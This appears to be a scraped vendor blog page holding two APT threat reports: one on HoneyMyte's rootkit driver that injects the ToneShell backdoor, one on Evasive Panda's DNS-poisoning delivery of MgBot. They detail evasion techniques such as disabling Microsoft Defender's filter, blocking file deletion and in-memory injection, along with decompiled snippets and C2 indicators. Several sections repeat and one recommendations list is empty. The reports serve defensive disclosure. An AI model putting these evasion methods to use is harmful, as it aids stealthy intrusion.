Earlier ToneShell variants generated a 16-byte GUID using CoCreateGuid and stored it as a host identifier. In contrast, this version checks for a file named C:\ProgramData\MicrosoftOneDrive.tlb, validating a 4-byte marker inside it. If the file is absent or the marker is invalid, the backdoor derives a new pseudo-random 4-byte identifier using system-specific values (computer name, tick count, and PRNG), then creates the file and writes the marker. This becomes the unique ID for the infected host.

The samples we have analyzed contact two command-and-control servers:

  • avocadomechanism[.]com
  • potherbreference[.]com

ToneShell communicates with its C2 over raw TCP on port 443 while disguising traffic using fake TLS headers. This version imitates the first bytes of a TLS 1.3 record (0x17 0x03 0x04) instead of the TLS 1.2 pattern used previously. After this three-byte marker, each packet contains a size field and an encrypted payload.

Packet layout:

  • Header (3 bytes): Fake TLS marker
  • Size (2 bytes): Payload length
  • Payload: Encrypted with a rolling XOR key

The backdoor supports a set of remote operations, including file upload/download, remote shell functionality, and session control. The command set includes:

Command ID Description
0x1 Create temporary file for incoming data
0x2 / 0x3 Download file
0x4 Cancel download
0x7 Establish remote shell via pipe
0x8 Receive operator command
0x9 Terminate shell
0xA / 0xB Upload file
0xC Cancel upload
0xD Close connection

Conclusion

We assess with high confidence that the activity described in this report is linked to the HoneyMyte threat actor. This conclusion is supported by the use of the ToneShell backdoor as the final-stage payload, as well as the presence of additional tools long associated with HoneyMyte – such as PlugX, and the ToneDisk USB worm – on the impacted systems.

HoneyMyte’s 2025 operations show a noticeable evolution toward using kernel-mode injectors to deploy ToneShell, improving both stealth and resilience. In this campaign, we observed a new ToneShell variant delivered through a kernel-mode driver that carries and injects the backdoor directly from its embedded payload. To further conceal its activity, the driver first deploys a small user-mode component that handles the final injection step. It also uses multiple obfuscation techniques, callback routines, and notification mechanisms to hide its API usage and track process and registry activity, ultimately strengthening the backdoor’s defenses.

Because the shellcode executes entirely in memory, memory forensics becomes essential for uncovering and analyzing this intrusion. Detecting the injected shellcode is a key indicator of ToneShell’s presence on compromised hosts.

Recommendations

To protect themselves against this threat, organizations should:

By following these recommendations, organizations can reduce their risk of being compromised by the HoneyMyte APT group and other similar threats.

Indicators of Compromise

More indicators of compromise, as well as any updates to these, are available to the customers of our APT intelligence reporting service. If you are interested, please contact intelreports@kaspersky.com.

36f121046192b7cac3e4bec491e8f1b5        AppvVStram_.sys
fe091e41ba6450bcf6a61a2023fe6c83         AppvVStram_.sys
abe44ad128f765c14d895ee1c8bad777       ProjectConfiguration.sys
avocadomechanism[.]com                            ToneShell C2
potherbreference[.]com                                 ToneShell C2

The HoneyMyte APT evolves with a kernel-mode rootkit and a ToneShell backdoor

29 December 2025 at 11:00

Overview of the attacks

In mid-2025, we identified a malicious driver file on computer systems in Asia. The driver file is signed with an old, stolen, or leaked digital certificate and registers as a mini-filter driver on infected machines. Its end-goal is to inject a backdoor Trojan into the system processes and provide protection for malicious files, user-mode processes, and registry keys.

Our analysis indicates that the final payload injected by the driver is a new sample of the ToneShell backdoor, which connects to the attacker’s servers and provides a reverse shell, along with other capabilities. The ToneShell backdoor is a tool known to be used exclusively by the HoneyMyte (aka Mustang Panda or Bronze President) APT actor and is often used in cyberespionage campaigns targeting government organizations, particularly in Southeast and East Asia.

The command-and-control servers for the ToneShell backdoor used in this campaign were registered in September 2024 via NameCheap services, and we suspect the attacks themselves to have begun in February 2025. We’ve observed through our telemetry that the new ToneShell backdoor is frequently employed in cyberespionage campaigns against government organizations in Southeast and East Asia, with Myanmar and Thailand being the most heavily targeted.

Notably, nearly all affected victims had previously been infected with other HoneyMyte tools, including the ToneDisk USB worm, PlugX, and older variants of ToneShell. Although the initial access vector remains unclear, it’s suspected that the threat actor leveraged previously compromised machines to deploy the malicious driver.

Compromised digital certificate

The driver file is signed with a digital certificate from Guangzhou Kingteller Technology Co., Ltd., with a serial number of 08 01 CC 11 EB 4D 1D 33 1E 3D 54 0C 55 A4 9F 7F. The certificate was valid from August 2012 until 2015.

We found multiple other malicious files signed with the same certificate which didn’t show any connections to the attacks described in this article. Therefore, we believe that other threat actors have been using it to sign their malicious tools as well. The following image shows the details of the certificate.

Technical details of the malicious driver

The filename used for the driver on the victim’s machine is ProjectConfiguration.sys. The registry key created for the driver’s service uses the same name, ProjectConfiguration.

The malicious driver contains two user-mode shellcodes, which are embedded into the .data section of the driver’s binary file. The shellcodes are executed as separate user-mode threads. The rootkit functionality protects both the driver’s own module and the user-mode processes into which the backdoor code is injected, preventing access by any process on the system.

API resolution

To obfuscate the actual behavior of the driver module, the attackers used dynamic resolution of the required API addresses from hash values.

The malicious driver first retrieves the base address of the ntoskrnl.exe and fltmgr.sys by calling ZwQuerySystemInformation with the SystemInformationClass set to SYSTEM_MODULE_INFORMATION. It then iterates through this system information and searches for the desired DLLs by name, noting the ImageBaseAddress of each.

Once the base addresses of the libraries are obtained, the driver uses a simple hashing algorithm to dynamically resolve the required API addresses from ntoskrnl.exe and fltmgr.sys.

The hashing algorithm is shown below. The two variants of the seed value provided in the comment are used in the shellcodes and the final payload of the attack.

Protection of the driver file

The malicious driver registers itself with the Filter Manager using FltRegisterFilter and sets up a pre-operation callback. This callback inspects I/O requests for IRP_MJ_SET_INFORMATION and triggers a malicious handler when certain FileInformationClass values are detected. The handler then checks whether the targeted file object is associated with the driver; if it is, it forces the operation to fail by setting IOStatus to STATUS_ACCESS_DENIED. The relevant FileInformationClass values include:

  • FileRenameInformation
  • FileDispositionInformation
  • FileRenameInformationBypassAccessCheck
  • FileDispositionInformationEx
  • FileRenameInformationEx
  • FileRenameInformationExBypassAccessCheck

These classes correspond to file-delete and file-rename operations. By monitoring them, the driver prevents itself from being removed or renamed – actions that security tools might attempt when trying to quarantine it.

Protection of registry keys

The driver also builds a global list of registry paths and parameter names that it intends to protect. This list contains the following entries:

  • ProjectConfiguration
  • ProjectConfiguration\Instances
  • ProjectConfiguration Instance

To guard these keys, the malware sets up a RegistryCallback routine, registering it through CmRegisterCallbackEx. To do so, it must assign itself an altitude value. Microsoft governs altitude assignments for mini-filters, grouping them into Load Order categories with predefined altitude ranges. A filter driver with a low numerical altitude is loaded into the I/O stack below filters with higher altitudes. The malware uses a hardcoded starting point of 330024 and creates altitude strings in the format 330024.%l, where %l ranges from 0 to 10,000.

The malware then begins attempting to register the callback using the first generated altitude. If the registration fails with STATUS_FLT_INSTANCE_ALTITUDE_COLLISION, meaning the altitude is already taken, it increments the value and retries. It repeats this process until it successfully finds an unused altitude.

The callback monitors four specific registry operations. Whenever one of these operations targets a key from its protected list, it responds with 0xC0000022 (STATUS_ACCESS_DENIED), blocking the action. The monitored operations are:

  • RegNtPreCreateKey
  • RegNtPreOpenKey
  • RegNtPreCreateKeyEx
  • RegNtPreOpenKeyEx

Microsoft designates the 320000–329999 altitude range for the FSFilter Anti-Virus Load Order Group. The malware’s chosen altitude exceeds this range. Since filters with lower altitudes sit deeper in the I/O stack, the malicious driver intercepts file operations before legitimate low-altitude filters like antivirus components, allowing it to circumvent security checks.

Finally, the malware tampers with the altitude assigned to WdFilter, a key Microsoft Defender driver. It locates the registry entry containing the driver’s altitude and changes it to 0, effectively preventing WdFilter from being loaded into the I/O stack.

Protection of user-mode processes

The malware sets up a list intended to hold protected process IDs (PIDs). It begins with 32 empty slots, which are filled as needed during execution. A status flag is also initialized and set to 1 to indicate that the list starts out empty.

Next, the malware uses ObRegisterCallbacks to register two callbacks that intercept process-related operations. These callbacks apply to both OB_OPERATION_HANDLE_CREATE and OB_OPERATION_HANDLE_DUPLICATE, and both use a malicious pre-operation routine.

This routine checks whether the process involved in the operation has a PID that appears in the protected list. If so, it sets the DesiredAccess field in the OperationInformation structure to 0, effectively denying any access to the process.

The malware also registers a callback routine by calling PsSetCreateProcessNotifyRoutine. These callbacks are triggered during every process creation and deletion on the system. This malware’s callback routine checks whether the parent process ID (PPID) of a process being deleted exists in the protected list; if it does, the malware removes that PPID from the list. This eventually removes the rootkit protection from a process with an injected backdoor, once the backdoor has fulfilled its responsibilities.

Payload injection

The driver delivers two user-mode payloads.

The first payload spawns an svchost process and injects a small delay-inducing shellcode.  The PID of this new svchost instance is written to a file for later use.

The second payload is the final component – the ToneShell backdoor – and is later injected into that same svchost process.

Injection workflow:

The malicious driver searches for a high-privilege target process by iterating through PIDs and checking whether each process exists and runs under SeLocalSystemSid. Once it finds one, it customizes the first payload using random event names, file names, and padding bytes, then creates a named event and injects the payload by attaching its current thread to the process, allocating memory, and launching a new thread.

After injection, it waits for the payload to signal the event, reads the PID of the newly created svchost process from the generated file, and adds it to its protected process list. It then similarly customizes the second payload (ToneShell) using random event name and random padding bytes, then creates a named event and injects the payload by attaching to the process, allocating memory, and launching a new thread.

Once the ToneShell backdoor finishes execution, it signals the event. The malware then removes the svchost PID from the protected list, waits 10 seconds, and attempts to terminate the process.

ToneShell backdoor

The final stage of the attack deploys ToneShell, a backdoor previously linked to operations by the HoneyMyte APT group and discussed in earlier reporting (see Malpedia and MITRE). Notably, this is the first time we’ve seen ToneShell delivered through a kernel-mode loader, giving it protection from user-mode monitoring and benefiting from the rootkit capabilities of the driver that hides its activity from security tools.

Earlier ToneShell variants generated a 16-byte GUID using CoCreateGuid and stored it as a host identifier. In contrast, this version checks for a file named C:\ProgramData\MicrosoftOneDrive.tlb, validating a 4-byte marker inside it. If the file is absent or the marker is invalid, the backdoor derives a new pseudo-random 4-byte identifier using system-specific values (computer name, tick count, and PRNG), then creates the file and writes the marker. This becomes the unique ID for the infected host.

The samples we have analyzed contact two command-and-control servers:

  • avocadomechanism[.]com
  • potherbreference[.]com

ToneShell communicates with its C2 over raw TCP on port 443 while disguising traffic using fake TLS headers. This version imitates the first bytes of a TLS 1.3 record (0x17 0x03 0x04) instead of the TLS 1.2 pattern used previously. After this three-byte marker, each packet contains a size field and an encrypted payload.

Packet layout:

  • Header (3 bytes): Fake TLS marker
  • Size (2 bytes): Payload length
  • Payload: Encrypted with a rolling XOR key

The backdoor supports a set of remote operations, including file upload/download, remote shell functionality, and session control. The command set includes:

Command ID Description
0x1 Create temporary file for incoming data
0x2 / 0x3 Download file
0x4 Cancel download
0x7 Establish remote shell via pipe
0x8 Receive operator command
0x9 Terminate shell
0xA / 0xB Upload file
0xC Cancel upload
0xD Close connection

Conclusion

We assess with high confidence that the activity described in this report is linked to the HoneyMyte threat actor. This conclusion is supported by the use of the ToneShell backdoor as the final-stage payload, as well as the presence of additional tools long associated with HoneyMyte – such as PlugX, and the ToneDisk USB worm – on the impacted systems.

HoneyMyte’s 2025 operations show a noticeable evolution toward using kernel-mode injectors to deploy ToneShell, improving both stealth and resilience. In this campaign, we observed a new ToneShell variant delivered through a kernel-mode driver that carries and injects the backdoor directly from its embedded payload. To further conceal its activity, the driver first deploys a small user-mode component that handles the final injection step. It also uses multiple obfuscation techniques, callback routines, and notification mechanisms to hide its API usage and track process and registry activity, ultimately strengthening the backdoor’s defenses.

Because the shellcode executes entirely in memory, memory forensics becomes essential for uncovering and analyzing this intrusion. Detecting the injected shellcode is a key indicator of ToneShell’s presence on compromised hosts.

Recommendations

To protect themselves against this threat, organizations should:

By following these recommendations, organizations can reduce their risk of being compromised by the HoneyMyte APT group and other similar threats.

Indicators of Compromise

More indicators of compromise, as well as any updates to these, are available to the customers of our APT intelligence reporting service. If you are interested, please contact intelreports@kaspersky.com.

36f121046192b7cac3e4bec491e8f1b5        AppvVStram_.sys
fe091e41ba6450bcf6a61a2023fe6c83         AppvVStram_.sys
abe44ad128f765c14d895ee1c8bad777       ProjectConfiguration.sys
avocadomechanism[.]com                            ToneShell C2
potherbreference[.]com                                 ToneShell C2

Evasive Panda APT poisons DNS requests to deliver MgBot

24 December 2025 at 08:00

Introduction

The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.

The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.

Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection vector

The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.

In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:

http://p2p.hd.sohu.com[.]cn/foxd/gz?file=sohunewplayer_7.0.22.1_03_29_13_13_union.exe&new=/66/157/ovztb0wktdmakeszwh2eha.exe

There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.

Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.

The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.

The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:

for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}

After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:

  • Malware installation path: %ProgramData%\Microsoft\MF
  • Resource domain: http://www.dictionary.com/
  • Resource URI: image?id=115832434703699686&product=dict-homepage.png
  • MgBot encrypted configuration

The malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.

Decryption routine of encrypted strings

Decryption routine of encrypted strings

If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.

Multi-stage shellcode execution

As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.

unsigned int calc_PJWHash(_BYTE *a1)
{
unsigned int v2;
v2 = 0;
while ( *a1 )
{
v2 = *a1++ + 16 * v2;
if ( (v2 & 0xF0000000) != 0 )
v2 = ~(v2 & 0xF0000000) & (v2 ^ ((v2 & 0xF0000000) >> 24));
}
return v2;
}

The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.

If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.

To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:

sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d

This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.

Downloading a payload from the web resource

Downloading a payload from the web resource

From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:

key = *(mw_decryptedDataFromDatFile + 92);
index = 0;
if ( sz_shellcode )
{
mw_decryptedDataFromDatFile_1 = Heap;
do
{
*(index + mw_decryptedDataFromDatFile_1) ^= *(&key + (index & 3));
++index;
}
while ( index < sz_shellcode );
}

The shellcode uses a 4-byte XOR key, consistent with the one used in previous stages, to decrypt the new shellcode stored in the DAT file. It then creates a structure for the decrypted second-stage shellcode, similar to the first stage, including a partially decrypted configuration buffer and other relevant details.

Next, the shellcode resolves the VirtualProtect API to change the protection flag of the new shellcode buffer, allowing it to be executed with PAGE_EXECUTE_READWRITE permissions. The second-stage shellcode is then executed, with the structure passed as an argument. After the shellcode has finished running, its return value is checked to see if it matches 0x9980. Depending on the outcome, the shellcode will either terminate its own process or return control to the caller.

Although we were unable to retrieve the second-stage payload from the attackers’ web server during our analysis, we were able to capture and examine the next stage of the malware, which was to be executed afterwards. Our analysis suggests that the attackers may have used the CryptProtectData API during the execution of the second shellcode to encrypt the entire shellcode and store it as a DAT file in the malware’s main installation directory. This implies that the malware writes an encrypted DAT file to disk using the CryptProtectData API, which can then be decrypted and executed by the first-stage shellcode. Furthermore, it appears that the attacker attempted to generate a unique encrypted second shellcode file for each victim, which we believe is another technique used to evade detection and defense mechanisms in the attack chain.

Secondary loader

We identified a secondary loader, named libpython2.4.dll, which was disguised as a legitimate Windows library and used by the Evasive Panda group to achieve a stealthier loading mechanism. Notably, this malicious DLL loader relies on a legitimate, signed executable named evteng.exe (MD5: 1c36452c2dad8da95d460bee3bea365e), which is an older version of python.exe. This executable is a Python wrapper that normally imports the libpython2.4.dll library and calls the Py_Main function.

The secondary loader retrieves the full path of the current module (libpython2.4.dll) and writes it to a file named status.dat, located in C:\ProgramData\Microsoft\eHome, but only if a file with the same name does not already exist in that directory. We believe with a low-to-medium level of confidence that this action is intended to allow the attacker to potentially update the secondary loader in the future. This suggests that the attacker may be planning for future modifications or upgrades to the malware.

The malware proceeds to decrypt the next stage by reading the entire contents of C:\ProgramData\Microsoft\eHome\perf.dat. This file contains the previously downloaded and XOR-decrypted data from the attacker-controlled server, which was obtained through the DNS poisoning technique as described above. Notably, the implant downloads the payload several times and moves it between folders by renaming it. It appears that the attacker used a complex process to obtain this stage from a resource, where it was initially XOR-encrypted. The attacker then decrypted this stage with XOR and subsequently encrypted and saved it to perf.dat using a custom hybrid of Microsoft’s Data Protection Application Programming Interface (DPAPI) and the RC5 algorithm.

General overview of storing payload on disk by using hybrid encryption

General overview of storing payload on disk by using hybrid encryption

This custom encryption algorithm works as follows. The RC5 encryption key is itself encrypted using Microsoft’s DPAPI and stored in the first 16 bytes of perf.dat. The RC5-encrypted payload is then appended to the file, following the encrypted key. To decrypt the payload, the process is reversed: the encrypted RC5 key is first decrypted with DPAPI, and then used to decrypt the remaining contents of perf.dat, which contains the next-stage payload.

The attacker uses this approach to ensure that a crucial part of the attack chain is secured, and the encrypted data can only be decrypted on the specific system where the encryption was initially performed. This is because the DPAPI functions used to secure the RC5 key tie the decryption process to the individual system, making it difficult for the encrypted data to be accessed or decrypted elsewhere. This makes it more challenging for defenders to intercept and analyze the malicious payload.

After completing the decryption process, the secondary loader initiates the runtime injection method, which likely involves the use of a custom runtime DLL injector for the decrypted data. The injector first calls the DLL entry point and then searches for a specific export function named preload. Although we were unable to determine which encrypted module was decrypted and executed in memory due to a lack of available data on the attacker-controlled server, our telemetry reveals that an MgBot variant is injected into the legitimate svchost.exe process after the secondary loader is executed. Fortunately, this allowed us to analyze these implants further and gain additional insights into the attack, as well as reveal that the encrypted initial configuration was passed through the infection chain, ultimately leading to the execution of MgBot. The configuration file was decrypted with a single-byte XOR key, 0x58, and this would lead to the full exposure of the configuration.

Our analysis suggests that the configuration includes a campaign name, hardcoded C2 server IP addresses, and unknown bytes that may serve as encryption or decryption keys, although our confidence in this assessment is limited. Interestingly, some of the C2 server addresses have been in use for multiple years, indicating a potential long-term operation.

Decryption of the configuration in the injected MgBot implant

Decryption of the configuration in the injected MgBot implant

Victims

Our telemetry has detected victims in Türkiye, China, and India, with some systems remaining compromised for over a year. The attackers have shown remarkable persistence, sustaining the campaign for two years (from November 2022 to November 2024) according to our telemetry, which indicates a substantial investment of resources and dedication to the operation.

Attribution

The techniques, tactics, and procedures (TTPs) employed in this compromise indicate with high confidence that the Evasive Panda threat actor is responsible for the attack. Despite the development of a new loader, which has been added to their arsenal, the decade-old MgBot implant was still identified in the final stage of the attack with new elements in its configuration. Consistent with previous research conducted by several vendors in the industry, the Evasive Panda threat actor is known to commonly utilize various techniques, such as supply-chain compromise, Adversary-in-the-Middle attacks, and watering-hole attacks, which enable them to distribute their payloads without raising suspicion.

Conclusion

The Evasive Panda threat actor has once again showcased its advanced capabilities, evading security measures with new techniques and tools while maintaining long-term persistence in targeted systems. Our investigation suggests that the attackers are continually improving their tactics, and it is likely that other ongoing campaigns exist. The introduction of new loaders may precede further updates to their arsenal.

As for the AitM attack, we do not have any reliable sources on how the threat actor delivers the initial loader, and the process of poisoning DNS responses for legitimate websites, such as dictionary[.]com, is still unknown. However, we are considering two possible scenarios based on prior research and the characteristics of the threat actor: either the ISPs used by the victims were selectively targeted, and some kind of network implant was installed on edge devices, or one of the network devices of the victims — most likely a router or firewall appliance — was targeted for this purpose. However, it is difficult to make a precise statement, as this campaign requires further attention in terms of forensic investigation, both on the ISPs and the victims.

The configuration file’s numerous C2 server IP addresses indicate a deliberate effort to maintain control over infected systems running the MgBot implant. By using multiple C2 servers, the attacker aims to ensure prolonged persistence and prevents loss of control over compromised systems, suggesting a strategic approach to sustaining their operations.

Indicators of compromise

File Hashes
c340195696d13642ecf20fbe75461bed sohuva_update_10.2.29.1-lup-s-tp.exe
7973e0694ab6545a044a49ff101d412a libpython2.4.dll
9e72410d61eaa4f24e0719b34d7cad19 (MgBot implant)

File Paths
C:\ProgramData\Microsoft\MF
C:\ProgramData\Microsoft\eHome\status.dat
C:\ProgramData\Microsoft\eHome\perf.dat

URLs and IPs
60.28.124[.]21     (MgBot C2)
123.139.57[.]103   (MgBot C2)
140.205.220[.]98   (MgBot C2)
112.80.248[.]27    (MgBot C2)
116.213.178[.]11   (MgBot C2)
60.29.226[.]181    (MgBot C2)
58.68.255[.]45     (MgBot C2)
61.135.185[.]29    (MgBot C2)
103.27.110[.]232   (MgBot C2)
117.121.133[.]33   (MgBot C2)
139.84.170[.]230   (MgBot C2)
103.96.130[.]107   (AitM C2)
158.247.214[.]28   (AitM C2)
106.126.3[.]78     (AitM C2)
106.126.3[.]56     (AitM C2)

Evasive Panda APT poisons DNS requests to deliver MgBot

24 December 2025 at 08:00

Introduction

The Evasive Panda APT group (also known as Bronze Highland, Daggerfly, and StormBamboo) has been active since 2012, targeting multiple industries with sophisticated, evolving tactics. Our latest research (June 2025) reveals that the attackers conducted highly-targeted campaigns, which started in November 2022 and ran until November 2024.

The group mainly performed adversary-in-the-middle (AitM) attacks on specific victims. These included techniques such as dropping loaders into specific locations and storing encrypted parts of the malware on attacker-controlled servers, which were resolved as a response to specific website DNS requests. Notably, the attackers have developed a new loader that evades detection when infecting its targets, and even employed hybrid encryption practices to complicate analysis and make implants unique to each victim.

Furthermore, the group has developed an injector that allows them to execute their MgBot implant in memory by injecting it into legitimate processes. It resides in the memory space of a decade-old signed executable by using DLL sideloading and enables them to maintain a stealthy presence in compromised systems for extended periods.

Additional information about this threat, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

Technical details

Initial infection vector

The threat actor commonly uses lures that are disguised as new updates to known third-party applications or popular system applications trusted by hundreds of users over the years.

In this campaign, the attackers used an executable disguised as an update package for SohuVA, which is a streaming app developed by Sohu Inc., a Chinese internet company. The malicious package, named sohuva_update_10.2.29.1-lup-s-tp.exe, clearly impersonates a real SohuVA update to deliver malware from the following resource, as indicated by our telemetry:

http://p2p.hd.sohu.com[.]cn/foxd/gz?file=sohunewplayer_7.0.22.1_03_29_13_13_union.exe&new=/66/157/ovztb0wktdmakeszwh2eha.exe

There is a possibility that the attackers used a DNS poisoning attack to alter the DNS response of p2p.hd.sohu.com[.]cn to an attacker-controlled server’s IP address, while the genuine update module of the SohuVA application tries to update its binaries located in appdata\roaming\shapp\7.0.18.0\package. Although we were unable to verify this at the time of analysis, we can make an educated guess, given that it is still unknown what triggered the update mechanism.

Furthermore, our analysis of the infection process has identified several additional campaigns pursued by the same group. For example, they utilized a fake updater for the iQIYI Video application, a popular platform for streaming Asian media content similar to SohuVA. This fake updater was dropped into the application’s installation folder and executed by the legitimate service qiyiservice.exe. Upon execution, the fake updater initiated malicious activity on the victim’s system, and we have identified that the same method is used for IObit Smart Defrag and Tencent QQ applications.

The initial loader was developed in C++ using the Windows Template Library (WTL). Its code bears a strong resemblance to Wizard97Test, a WTL sample application hosted on Microsoft’s GitHub. The attackers appear to have embedded malicious code within this project to effectively conceal their malicious intentions.

The loader first decrypts the encrypted configuration buffer by employing an XOR-based decryption algorithm:

for ( index = 0; index < v6; index = (index + 1) )
{
if ( index >= 5156 )
break;
mw_configindex ^= (&mw_deflated_config + (index & 3));
}

After decryption, it decompresses the LZMA-compressed buffer into the allocated buffer, and all of the configuration is exposed, including several components:

  • Malware installation path: %ProgramData%\Microsoft\MF
  • Resource domain: http://www.dictionary.com/
  • Resource URI: image?id=115832434703699686&product=dict-homepage.png
  • MgBot encrypted configuration

The malware also checks the name of the logged-in user in the system and performs actions accordingly. If the username is SYSTEM, the malware copies itself with a different name by appending the ext.exe suffix inside the current working directory. Then it uses the ShellExecuteW API to execute the newly created version. Notably, all relevant strings in the malware, such as SYSTEM and ext.exe, are encrypted, and the loader decrypts them with a specific XOR algorithm.

Decryption routine of encrypted strings

Decryption routine of encrypted strings

If the username is not SYSTEM, the malware first copies explorer.exe into %TEMP%, naming the instance as tmpX.tmp (where X is an incremented decimal number), and then deletes the original file. The purpose of this activity is unclear, but it consumes high system resources. Next, the loader decrypts the kernel32.dll and VirtualProtect strings to retrieve their base addresses by calling the GetProcAddress API. Afterwards, it uses a single-byte XOR key to decrypt the shellcode, which is 9556 bytes long, and stores it at the same address in the .data section. Since the .data section does not have execute permission, the malware uses the VirtualProtect API to set the permission for the section. This allows for the decrypted shellcode to be executed without alerting security products by allocating new memory blocks. Before executing the shellcode, the malware prepares a 16-byte-long parameter structure that contains several items, with the most important one being the address of the encrypted MgBot configuration buffer.

Multi-stage shellcode execution

As mentioned above, the loader follows a unique delivery scheme, which includes at least two stages of payload. The shellcode employs a hashing algorithm known as PJW to resolve Windows APIs at runtime in a stealthy manner.

unsigned int calc_PJWHash(_BYTE *a1)
{
unsigned int v2;
v2 = 0;
while ( *a1 )
{
v2 = *a1++ + 16 * v2;
if ( (v2 & 0xF0000000) != 0 )
v2 = ~(v2 & 0xF0000000) & (v2 ^ ((v2 & 0xF0000000) >> 24));
}
return v2;
}

The shellcode first searches for a specific DAT file in the malware’s primary installation directory. If it is found, the shellcode decrypts it using the CryptUnprotectData API, a Windows API that decrypts protected data into allocated heap memory, and ensures that the data can only be decrypted on the particular machine by design. After decryption, the shellcode deletes the file to avoid leaving any traces of the valuable part of the attack chain.

If, however, the DAT file is not present, the shellcode initiates the next-stage shellcode installation process. It involves retrieving encrypted data from a web source that is actually an attacker-controlled server, by employing a DNS poisoning attack. Our telemetry shows that the attackers successfully obtained the encrypted second-stage shellcode, disguised as a PNG file, from the legitimate website dictionary[.]com. However, upon further investigation, it was discovered that the IP address associated with dictionary[.]com had been manipulated through a DNS poisoning technique. As a result, victims’ systems were resolving the website to different attacker-controlled IP addresses depending on the victims’ geographical location and internet service provider.

To retrieve the second-stage shellcode, the first-stage shellcode uses the RtlGetVersion API to obtain the current Windows version number and then appends a predefined string to the HTTP header:

sec-ch-ua-platform: windows %d.%d.%d.%d.%d.%d

This implies that the attackers needed to be able to examine request headers and respond accordingly. We suspect that the attackers’ collection of the Windows version number and its inclusion in the request headers served a specific purpose, likely allowing them to target specific operating system versions and even tailor their payload to different operating systems. Given that the Evasive Panda threat actor has been known to use distinct implants for Windows (MgBot) and macOS (Macma) in previous campaigns, it is likely that the malware uses the retrieved OS version string to determine which implant to deploy. This enables the threat actor to adapt their attack to the victim’s specific operating system by assessing results on the server side.

Downloading a payload from the web resource

Downloading a payload from the web resource

From this point on, the first-stage shellcode proceeds to decrypt the retrieved payload with a XOR decryption algorithm:

